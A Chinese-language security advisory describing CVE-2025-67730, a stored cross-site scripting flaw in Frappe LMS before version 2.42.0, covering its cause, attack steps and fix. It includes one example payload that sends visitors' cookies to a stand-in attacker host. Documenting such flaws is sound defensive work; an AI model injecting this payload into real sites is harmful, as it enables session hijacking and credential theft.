CVE-2025-67730Frappe Learning Management System(LMS)是一款开源的学习管理系统,帮助用户结构化教学内容。该系统在2.42.0之前的版本中存在严重的存储型跨站脚本(Stored XSS)漏洞。漏洞源于系统在处理Job(工作)、Course(课程)和Batch(批次)表单的描述字段时,未对用户输入进行充分的HTML和JavaScript代码过滤。攻击者只需拥有低权限的认证账户,即可通过在描述字段中注入恶意脚本代码。当其他用户访问包含这些描述内容的页面时,恶意代码将自动执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。由于攻击代码存储在服务器端,每次页面加载都会触发攻击,具有持久性和广泛影响性。
该漏洞属于存储型XSS(Stored Cross-Site Scripting)漏洞,攻击流程如下:1)攻击者使用低权限账户登录Frappe LMS系统;2)在创建或编辑Job、Course或Batch时,在description字段中插入恶意JavaScript代码,如:<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>;3)系统未进行输入验证和输出编码,直接将恶意代码存储到数据库;4)当管理员或其他用户访问相关页面时,浏览器会解析并执行存储的恶意脚本;5)攻击者可借此窃取用户会话Cookie、伪造用户操作或进行进一步的社会工程攻击。漏洞的根本原因是Frappe LMS在处理富文本输入时缺少严格的HTML过滤机制,未使用Content Security Policy(CSP)头部保护,以及缺少对用户输入的白名单验证。修复版本2.42.0增加了输入验证和输出编码机制。